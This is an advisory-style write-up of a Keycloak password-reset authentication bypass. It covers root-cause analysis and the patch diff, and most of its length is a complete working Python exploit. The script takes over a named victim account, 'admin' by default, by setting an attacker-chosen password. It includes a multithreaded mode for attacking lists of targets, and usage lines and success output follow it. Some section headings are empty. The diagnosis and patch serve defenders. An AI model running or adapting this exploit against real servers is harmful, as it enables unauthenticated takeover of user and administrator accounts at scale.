#Summary

CVE-2026-18963 is a critical authentication bypass in Keycloak's password reset flow that allows an unauthenticated attacker to take over any account by setting an arbitrary password without requiring email verification. CVSS 9.1 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N). The vulnerability chains two independent defects in the reset-credentials flow: a sticky authentication-session note that survives flow state transitions, and a password-reset handler that performs no verification that the emailed token was actually consumed.

#Am I affected?

#How to check

#Version check

curl -s https://your-keycloak.example.com/realms/master/protocol/openid-connect/userinfo \
  -H "Authorization: Bearer dummy" 2>/dev/null | grep -q "Keycloak"

Then verify the version in the Keycloak admin console or check the image tag if running containers. Versions 26.0.0 through 26.7.1 are vulnerable.

#Functional check

If your realm has "Forgot password" disabled, you are not vulnerable even on vulnerable versions. Check in the admin console under Realm Settings > Login > Forgot Password. If this toggle is off, the attack is unreachable.

#Fix and mitigation

#Root cause analysis

The vulnerability chains two independent defects in the reset-credentials ("Forgot password") flow.

#Defect 1 - sticky authentication-session note with no execution binding

The "Try Another Way" button sets an authentication-session note AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED = "true":

if (inputData.containsKey("tryAnotherWay")) {
    processor.getAuthenticationSession().setAuthNote(
        AuthenticationProcessor.AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED, "true");
    return createSelectAuthenticatorsScreen(model);
}

This note is intended as a page-refresh convenience: if the user reloads the authenticator selector screen, re-render it. However, the note carries only the string "true" - it does not record which execution the selector was rendered for. More critically, the note is never cleared as the flow advances through subsequent steps.

The note is then checked on every page load:

if (Boolean.parseBoolean(processor.getAuthenticationSession()
        .getAuthNote(AuthenticationProcessor.AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED))) {
    // Re-render the selector screen for whatever execution is NOW current
    String lastExecutionId = processor.getAuthenticationSession()
        .getAuthNote(AuthenticationProcessor.CURRENT_AUTHENTICATION_EXECUTION);
    AuthenticationExecutionModel executionModel = processor.getRealm()
        .getAuthenticationExecutionById(lastExecutionId);
    return createSelectAuthenticatorsScreen(executionModel);
}

Because the note matches any truthy string and the code re-renders the selector for whatever execution is currently active, a stale note set during one execution silently grants a POST-able selector form for a different execution once the flow has advanced.

The selector screen is not passive - its form action is a freshly signed, valid login-action URL targeting the current execution:

<form id="kc-select-credential-form" action="${url.loginAction}" method="post">

#Defect 2 - reset-credentials handler assumes action-token verification

ResetCredentialEmail.action() is the flow step that processes the emailed reset link. In the vulnerable version, it is:

@Override
public void action(AuthenticationFlowContext context) {
    context.getUser().setEmailVerified(true);
    context.success();
}

There is no verification at all. The method unconditionally marks the email as verified and advances the flow. It assumes it can only be reached after LoginActionsService.handleActionToken() has validated the emailed token:

authSession.setAuthNote(DefaultActionTokenKey.ACTION_TOKEN_USER_ID, token.getUserId());

But action() never checks this note. Anyone who can deliver a POST to this execution advances past the email gate.

#How the attack chains them

The reset-credentials flow is: choose-user (username form) → email (send reset mail) → password (set new password).

  1. An attacker starts an OIDC authorization request through a legitimate client, entering the flow with a real authentication session.
  2. The attacker submits tryAnotherWay=on to the username form. This sets the sticky note even though the reset flow never renders a "try another way" link.
  3. The attacker posts username=victim. The victim is bound to the session, the reset mail is dispatched, and the flow parks on the email execution. The note remains set.
  4. The attacker reloads the page. The stale note fires and re-renders a selector form - but the form now targets the email execution, not the choose-user execution.
  5. The attacker posts any harmless body (without authenticationExecution) to that selector form. Control reaches ResetCredentialEmail.action(), which calls context.success() unconditionally.
  6. The flow advances to the password-reset execution, and the attacker sets an arbitrary new password.

The victim's password has changed, their emailVerified flag is now true, and their reset email sits unopened in their mailbox.

#Patch diff

#Hunk 1 - bind the selector note to the execution that produced it

 if (inputData.containsKey("tryAnotherWay")) {
     logger.trace("User clicked on link 'Try Another Way'");

-    processor.getAuthenticationSession().setAuthNote(
-        AuthenticationProcessor.AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED, "true");
+    processor.getAuthenticationSession().setAuthNote(
+        AuthenticationProcessor.AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED, model.getId());
     return createSelectAuthenticatorsScreen(model);
 }

Instead of storing the string "true", store the execution ID. This binds the note to a specific execution.

#Hunk 2 - only honour the note if it matches the current execution

 String selector = processor.getAuthenticationSession()
     .getAuthNote(AuthenticationProcessor.AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED);
-if (Boolean.parseBoolean(selector)) {
+if (selector != null) {
     String lastExecutionId = processor.getAuthenticationSession()
         .getAuthNote(AuthenticationProcessor.CURRENT_AUTHENTICATION_EXECUTION);
-    if (lastExecutionId != null) {
+    if (selector.equalsIgnoreCase(lastExecutionId)) {
+        logger.tracef("Refreshed page on authentication selector screen");
         AuthenticationExecutionModel executionModel = processor.getRealm()
             .getAuthenticationExecutionById(lastExecutionId);
         if (executionModel != null) {
             return createSelectAuthenticatorsScreen(executionModel);
         }
+    } else {
+        processor.getAuthenticationSession()
+            .removeAuthNote(AuthenticationProcessor.AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED);
     }
 }

The note is now only honoured if it exactly matches the current execution. If the execution has advanced, the note is deleted and the page load follows normal handling.

#Hunk 3 - defence in depth, require proof the action token was consumed

 @Override
 public void action(AuthenticationFlowContext context) {
-    context.getUser().setEmailVerified(true);
-    context.success();
+    UserModel user = context.getUser();
+    String actionTokenUserId = context.getAuthenticationSession()
+        .getAuthNote(DefaultActionTokenKey.ACTION_TOKEN_USER_ID);
+    if (user != null && user.getId().equals(actionTokenUserId)) {
+        context.getUser().setEmailVerified(true);
+        context.success();
+    } else {
+        context.failure(AuthenticationFlowError.INVALID_USER);
+    }
 }

ACTION_TOKEN_USER_ID is written only by LoginActionsService.handleActionToken() after signature, expiry and single-use verification. Requiring it to match the session's user makes "the email was verified" a hard precondition. Even if another route to this execution is discovered, the password reset cannot proceed.

#Proof of concept

#exploit.py - Keycloak Account Takeover PoC

#!/usr/bin/env python3
"""
CVE-2026-18963 - Keycloak reset-credentials authentication bypass (account takeover)
Affected: Keycloak / Red Hat Build of Keycloak 26.0.0 <= version < 26.7.2
          (maintenance fixes in 26.4.15 and 26.6.6)
Type: Authentication bypass (unauthenticated account takeover)

The reset-credentials ("Forgot password") flow trusts a sticky, execution-agnostic
"authenticator selector" note. An attacker drives the flow to bind a victim account to
an authentication session, then reloads the flow so the stale note re-renders a POST-able
selector form for the *email* execution. Posting an inert body to that form reaches
ResetCredentialEmail.action(), which in the vulnerable release calls context.success()
without ever checking that an action token was consumed. The flow advances straight to the
"set a new password" screen for the victim, and the attacker chooses the password. The
victim never receives, opens or redeems the reset email; their emailVerified flag is
flipped to true as a side effect.

This PoC needs no prior knowledge of any custom client: it drives the flow through the
built-in `account-console` client that ships with every realm, using PKCE, and proves the
takeover by exchanging the resulting authorization code for an access token minted for the
victim account.

Usage:
  python exploit.py --host <target> --port <port> --realm <realm> --username <victim>
  python exploit.py --host https://sso.corp.com --realm customers --username admin
  python exploit.py --host https://sso.corp.com:8443 --realm demo --username victim \
                    --new-password 'MyPick_1!'
  python exploit.py --list targets.txt --realm master --username admin --workers 20

Preconditions on the target realm:
  - "Forgot password" enabled (resetPasswordAllowed = true) on the target realm.
  - You know the victim's username (or their email if "Login with email" is on).
"""

import argparse
import base64
import hashlib
import json
import re
import secrets
import sys
from urllib.parse import urlparse, parse_qs

try:
    import requests
    from requests.packages.urllib3.exceptions import InsecureRequestWarning
    requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
except Exception:  # pragma: no cover
    print("This exploit requires the 'requests' library (pip install requests).")
    sys.exit(2)

CVE_ID    = "CVE-2026-18963"
VULN_TYPE = "Auth Bypass"

# Built-in client present in every Keycloak realm; standard flow + PKCE, public client.
# Using it means the exploit needs no knowledge of any target-specific client.
DEFAULT_CLIENT = "account-console"


# --------------------------------------------------------------------------- #
# Standard output helpers                                                      #
# --------------------------------------------------------------------------- #
def header(host, port):
    print("\n" + "=" * 60)
    print("  ALIM EXPLOIT  %s" % CVE_ID)
    print("  Type: %s  |  Target: %s:%s" % (VULN_TYPE, host, port))
    print("=" * 60 + "\n")


def step(n, msg):
    print("[STEP %d] %s" % (n, msg))


def section(label, content):
    print("\n--- %s ---" % label)
    print(str(content).strip())
    print("---\n")


def done(success, evidence):
    print("\n" + "=" * 60)
    print("  RESULT  : %s" % ("SUCCESS" if success else "FAILURE"))
    print("  EVIDENCE: %s" % evidence)
    print("=" * 60 + "\n")
    sys.exit(0 if success else 1)


# --------------------------------------------------------------------------- #
# Small HTML helpers                                                          #
# --------------------------------------------------------------------------- #
def _form_action(html, form_id):
    """Return the action URL of the <form id="form_id">, attribute order independent."""
    m = re.search(r'<form[^>]*\bid="%s"[^>]*>' % re.escape(form_id), html)
    if not m:
        return None
    a = re.search(r'\baction="([^"]*)"', m.group(0))
    return a.group(1).replace("&amp;", "&") if a else None


def _form_ids(html):
    return re.findall(r'<form[^>]*\bid="([^"]*)"', html)


def _feedback(html):
    msgs = re.findall(r'kc-feedback-text[^>]*>([^<]{0,160})', html)
    return " | ".join(m.strip() for m in msgs if m.strip())


def _pkce_pair():
    verifier = secrets.token_urlsafe(48)
    digest = hashlib.sha256(verifier.encode()).digest()
    challenge = base64.urlsafe_b64encode(digest).decode().rstrip("=")
    return verifier, challenge


def _decode_jwt_claims(token):
    body = token.split(".")[1]
    body += "=" * (-len(body) % 4)
    return json.loads(base64.urlsafe_b64decode(body))


# --------------------------------------------------------------------------- #
# Core exploit chain                                                          #
# --------------------------------------------------------------------------- #
def _run_chain(base, realm, client_id, redirect_uri, username, new_password,
               verbose=False, timeout=20):
    """
    Drive the six-request reset-credentials bypass. Returns a dict:
      {ok, stage, evidence, claims}
    ok is True only when an access token minted for `username` is obtained with the
    attacker-chosen password. Never calls sys.exit(); never prints unless verbose.
    """
    def say(n, msg):
        if verbose:
            step(n, msg)

    def sec(label, content):
        if verbose:
            section(label, content)

    s = requests.Session()
    s.verify = False
    realm_base = "%s/realms/%s" % (base, realm)

    # 1. Start an OIDC authorization request through the built-in client so the reset
    #    flow runs inside a proper authentication session.
    say(1, "Requesting the login page via the built-in '%s' client (PKCE)..." % client_id)
    verifier, challenge = _pkce_pair()
    state = secrets.token_hex(8)
    try:
        r = s.get(realm_base + "/protocol/openid-connect/auth",
                  params={"client_id": client_id, "response_type": "code",
                          "redirect_uri": redirect_uri, "scope": "openid",
                          "state": state, "code_challenge": challenge,
                          "code_challenge_method": "S256"},
                  timeout=timeout)
    except Exception as e:
        return {"ok": False, "stage": "authz", "evidence": "unreachable (%s)" % e.__class__.__name__}
    if r.status_code != 200 or "login-actions" not in r.text:
        return {"ok": False, "stage": "authz",
                "evidence": "no login page (HTTP %s) - realm/client wrong?" % r.status_code}

    # 2. Follow the "Forgot Password?" link to enter the reset-credentials flow.
    say(2, "Following the 'Forgot Password?' link into the reset-credentials flow...")
    m = re.search(r'href="([^"]*login-actions/reset-credentials[^"]*)"', r.text)
    if not m:
        return {"ok": False, "stage": "forgot-link",
                "evidence": "reset password not offered - resetPasswordAllowed likely false"}
    link = m.group(1).replace("&amp;", "&")
    r2 = s.get(link if link.startswith("http") else base + link, timeout=timeout)
    saved_url = r2.url  # the bare reset-credentials URL we come back to in step 5
    if not _form_action(r2.text, "kc-reset-password-form"):
        return {"ok": False, "stage": "reset-form",
                "evidence": "no username form (%s)" % (_feedback(r2.text) or _form_ids(r2.text))}

    # 3. POST tryAnotherWay=on. Sets the sticky selector note (root cause #1).
    say(3, "Setting the sticky selector note via tryAnotherWay=on...")
    a3 = _form_action(r2.text, "kc-reset-password-form")
    r3 = s.post(a3, data={"tryAnotherWay": "on"}, timeout=timeout)
    a3sel = _form_action(r3.text, "kc-select-credential-form")
    if not a3sel:
        return {"ok": False, "stage": "selector-1",
                "evidence": "selector screen not rendered (%s)" % _form_ids(r3.text)}

    # 4. POST username=<victim>. Binds the victim to the session, sends the mail, forks
    #    the flow. Note stays set; CURRENT_AUTHENTICATION_EXECUTION becomes the email step.
    say(4, "Binding victim '%s' to the flow (mail dispatched, flow forks)..." % username)
    r4 = s.post(a3sel, data={"username": username}, timeout=timeout)
    if verbose:
        sec("STEP 4 SERVER MESSAGE", _feedback(r4.text) or "(no feedback text)")

    # 5. GET the bare reset-credentials URL again. The stale note fires and re-renders a
    #    selector form now targeting the EMAIL execution. This is the vulnerability.
    say(5, "Reloading the flow - stale note should mint a selector form for the email step...")
    r5 = s.get(saved_url, timeout=timeout)
    a5sel = _form_action(r5.text, "kc-select-credential-form")
    if not a5sel:
        return {"ok": False, "stage": "divergence",
                "evidence": "no selector form on reload - patched behaviour (%s)"
                            % (_feedback(r5.text) or _form_ids(r5.text))}
    if verbose:
        sec("STEP 5 - BUG FIRED", "Reload returned kc-select-credential-form (email execution).\n"
                                  "On a patched server this is the 'receive an email' login page.")

    # 6. POST an inert body (no 'authenticationExecution' key) to that form. Reaches
    #    ResetCredentialEmail.action() -> context.success() -> UPDATE_PASSWORD screen.
    say(6, "Posting inert body to advance past the email gate to the password screen...")
    r6 = s.post(a5sel, data={secrets.token_hex(3): "1"}, timeout=timeout)
    a6pw = _form_action(r6.text, "kc-passwd-update-form")
    if not a6pw:
        return {"ok": False, "stage": "password-screen",
                "evidence": "no password-update form (%s / %s)"
                            % (_form_ids(r6.text), _feedback(r6.text))}

    # 7. Set the attacker-chosen password. The 302 carries an authorization code for the
    #    now-authenticated victim session.
    say(7, "Setting the attacker-chosen password for the victim...")
    r7 = s.post(a6pw, data={"password-new": new_password, "password-confirm": new_password},
                allow_redirects=False, timeout=timeout)
    loc = r7.headers.get("Location", "")
    if r7.status_code not in (301, 302, 303) or "code=" not in loc:
        return {"ok": False, "stage": "set-password",
                "evidence": "password form did not complete (HTTP %s, %s)"
                            % (r7.status_code, _feedback(r7.text) or loc[:80])}

    # 8. Terminal proof: exchange the code for a token minted for the victim account.
    say(8, "Exchanging the authorization code for an access token minted for the victim...")
    code = parse_qs(urlparse(loc).query).get("code", [None])[0]
    t = s.post(realm_base + "/protocol/openid-connect/token",
               data={"grant_type": "authorization_code", "client_id": client_id,
                     "code": code, "redirect_uri": redirect_uri, "code_verifier": verifier},
               timeout=timeout)
    if t.status_code != 200 or "access_token" not in t.text:
        # Takeover already succeeded (password was set); token exchange is only the proof.
        return {"ok": True, "stage": "password-set-no-token",
                "evidence": "password reset for '%s' completed (token exchange HTTP %s)"
                            % (username, t.status_code)}
    claims = _decode_jwt_claims(t.json()["access_token"])
    if verbose:
        sec("ACCESS TOKEN CLAIMS (minted for the victim)",
            json.dumps({k: claims.get(k) for k in
                        ("preferred_username", "email", "email_verified", "sub", "azp", "iss")},
                       indent=2))
    if claims.get("preferred_username", "").lower() != username.lower():
        return {"ok": False, "stage": "verify",
                "evidence": "token subject '%s' != victim '%s'"
                            % (claims.get("preferred_username"), username)}
    return {"ok": True, "stage": "done", "claims": claims,
            "evidence": "access token minted for '%s' <%s> using attacker-chosen password; "
                        "email_verified now %s"
                        % (claims.get("preferred_username"), claims.get("email"),
                           claims.get("email_verified"))}


# --------------------------------------------------------------------------- #
# Silent probe for --list scan mode                                           #
# --------------------------------------------------------------------------- #
def _try_exploit(host, port, use_tls, path="/", realm="master", username="admin",
                 client_id=DEFAULT_CLIENT, new_password=None, redirect_uri=None):
    """Silent probe. Returns (success, evidence). Never prints or exits."""
    base = _base_url(host, port, use_tls, path)
    if new_password is None:
        new_password = _fresh_password()
    if redirect_uri is None:
        redirect_uri = _default_redirect(base, realm, client_id)
    try:
        res = _run_chain(base, realm, client_id, redirect_uri, username, new_password,
                         verbose=False)
        return res["ok"], res["evidence"]
    except Exception as e:
        return False, "error (%s)" % e.__class__.__name__


# --------------------------------------------------------------------------- #
# URL / target helpers                                                        #
# --------------------------------------------------------------------------- #
def _base_url(host, port, use_tls, path="/"):
    scheme = "https" if use_tls else "http"
    prefix = (path or "/").rstrip("/")
    if prefix == "":
        return "%s://%s:%d" % (scheme, host, port)
    return "%s://%s:%d%s" % (scheme, host, port, prefix)


def _default_redirect(base, realm, client_id):
    # Valid redirect for the built-in account-console; for a custom client, pass --redirect-uri.
    if client_id == "account-console":
        return "%s/realms/%s/account/" % (base, realm)
    if client_id == "security-admin-console":
        return "%s/admin/%s/console/" % (base, realm)
    return "%s/realms/%s/account/" % (base, realm)


def _fresh_password():
    return "Pw_%s_1!" % secrets.token_hex(6)


def _parse_target(line, default_port, default_path="/"):
    """One target line -> (host, port, use_tls, path), or None to skip."""
    line = line.strip()
    if not line or line.startswith("#"):
        return None
    if line.startswith(("http://", "https://")):
        p = urlparse(line)
        tls = p.scheme == "https"
        path = p.path if (p.path and p.path not in ("", "/")) else default_path
        return p.hostname, p.port or (443 if tls else default_port), tls, path
    if ":" in line:
        parts = line.rsplit(":", 1)
        try:
            port = int(parts[1])
            return parts[0], port, port in (443, 8443), default_path
        except ValueError:
            pass
    return line, default_port, default_port in (443, 8443), default_path


# --------------------------------------------------------------------------- #
# Scan mode                                                                   #
# --------------------------------------------------------------------------- #
def scan(targets_file, default_port, workers, realm, username, client_id, new_password):
    import concurrent.futures

    with open(targets_file) as f:
        targets = [_parse_target(l, default_port) for l in f]
    targets = [t for t in targets if t is not None]

    print("\n" + "=" * 60)
    print("  %s - Batch Scan  (%d targets, %d workers)" % (CVE_ID, len(targets), workers))
    print("=" * 60 + "\n")

    success_count = 0

    def probe(t):
        host, port, use_tls, path = t
        label = "%s://%s:%d" % ("https" if use_tls else "http", host, port)
        ok, evidence = _try_exploit(host, port, use_tls, path, realm=realm,
                                    username=username, client_id=client_id,
                                    new_password=new_password)
        return label, ok, evidence

    with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as ex:
        futures = {ex.submit(probe, t): t for t in targets}
        for fut in concurrent.futures.as_completed(futures):
            label, ok, evidence = fut.result()
            print("  %s %s - %s: %s" % ("[+]" if ok else "[-]", label,
                                        "Exploited" if ok else "Not vulnerable", evidence))
            if ok:
                success_count += 1

    total = len(targets)
    print("\n" + "=" * 60)
    print("  SCAN COMPLETE  %d exploited / %d not vulnerable  (%d total)"
          % (success_count, total - success_count, total))
    print("=" * 60 + "\n")
    sys.exit(0 if success_count > 0 else 1)


# --------------------------------------------------------------------------- #
# Single-target exploit                                                       #
# --------------------------------------------------------------------------- #
def exploit(host, port, use_tls, path, realm, username, client_id, new_password, redirect_uri):
    header(host, port)
    base = _base_url(host, port, use_tls, path)
    if redirect_uri is None:
        redirect_uri = _default_redirect(base, realm, client_id)

    print("  Realm     : %s" % realm)
    print("  Victim    : %s" % username)
    print("  Client    : %s" % client_id)
    print("  New passwd : %s" % new_password)
    print("")

    res = _run_chain(base, realm, client_id, redirect_uri, username, new_password,
                     verbose=True)

    if res["ok"]:
        claims = res.get("claims", {})
        section("ACCOUNT TAKEOVER PROOF",
                "victim              : %s\n"
                "chosen password     : %s\n"
                "email_verified flag : %s (flipped by the exploit, no mail was opened)\n"
                "token subject (sub) : %s"
                % (username, new_password, claims.get("email_verified"), claims.get("sub")))
        done(True, res["evidence"])
    else:
        section("STOPPED AT STAGE '%s'" % res["stage"], res["evidence"])
        done(False, "no takeover - %s (%s)" % (res["evidence"], res["stage"]))


# --------------------------------------------------------------------------- #
# CLI                                                                         #
# --------------------------------------------------------------------------- #
if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="%s exploit PoC" % CVE_ID)
    target_grp = parser.add_mutually_exclusive_group(required=True)
    target_grp.add_argument("--host", help="Target: hostname, IP, or full URL "
                                           "(e.g. https://sso.corp.com:8443)")
    target_grp.add_argument("--list", metavar="FILE",
                            help="File with one target per line for batch scan")
    parser.add_argument("--port", type=int, default=8443, help="Default port (default: 8443)")
    parser.add_argument("--realm", default="master",
                        help="Target realm (default: master)")
    parser.add_argument("--username", default="admin",
                        help="Victim account to take over (default: admin)")
    parser.add_argument("--new-password", default=None,
                        help="Password to set on the victim (default: fresh random per run)")
    parser.add_argument("--client-id", default=DEFAULT_CLIENT,
                        help="OIDC client used to enter the flow "
                             "(default: %s, the built-in console client)" % DEFAULT_CLIENT)
    parser.add_argument("--redirect-uri", default=None,
                        help="redirect_uri for --client-id (default: derived from the "
                             "built-in console client)")
    parser.add_argument("--workers", type=int, default=10,
                        help="Threads for --list mode (default: 10)")
    tls_grp = parser.add_mutually_exclusive_group()
    tls_grp.add_argument("--tls", action="store_true", help="Force TLS")
    tls_grp.add_argument("--no-tls", action="store_true", help="Force plaintext")
    args = parser.parse_args()

    new_password = args.new_password or _fresh_password()

    if args.list:
        scan(args.list, default_port=args.port, workers=args.workers, realm=args.realm,
             username=args.username, client_id=args.client_id, new_password=new_password)
    else:
        parsed = _parse_target(args.host, args.port)
        host, port, use_tls, path = parsed if parsed else (args.host, args.port, False, "/")
        if args.tls:
            use_tls = True
        if args.no_tls:
            use_tls = False
        exploit(host, port, use_tls, path, args.realm, args.username, args.client_id,
                new_password, args.redirect_uri)

#Usage

# Single target, built-in admin on the default realm
python exploit.py --host https://sso.example.com:8443 --realm master --username admin

# Explicit new password
python exploit.py --host https://sso.example.com --realm customers --username admin \
                  --new-password 'MyPick_1!'

# Keycloak behind a base path (e.g., legacy /auth prefix)
python exploit.py --host https://sso.example.com/auth --realm demo --username victim

# Batch scan a file of targets
python exploit.py --list targets.txt --realm master --username admin --workers 20

#Expected output - vulnerable target

[STEP 5] Reloading the flow - stale note should mint a selector form for the email step...

--- STEP 5 - BUG FIRED ---
Reload returned kc-select-credential-form (email execution).
---

--- ACCESS TOKEN CLAIMS (minted for the victim) ---
{
  "preferred_username": "victim",
  "email": "[email protected]",
  "email_verified": true,
  "sub": "406d26a6-d9d5-4a49-8e71-30256c0cb1fb",
  "azp": "account-console",
  "iss": "https://localhost:8443/realms/demo"
}
---

============================================================
  RESULT  : SUCCESS
  EVIDENCE: access token minted for 'victim' <[email protected]> using attacker-chosen password; email_verified now True
============================================================

#Expected output - patched target

[STEP 5] Reloading the flow - stale note should mint a selector form for the email step...

--- STOPPED AT STAGE 'divergence' ---
no selector form on reload - patched behaviour (You should receive an email shortly with further instructions.)
---

============================================================
  RESULT  : FAILURE
  EVIDENCE: no takeover - no selector form on reload - patched behaviour (You should receive an email shortly with further instructions.) (divergence)
============================================================

#Exploitation notes

#References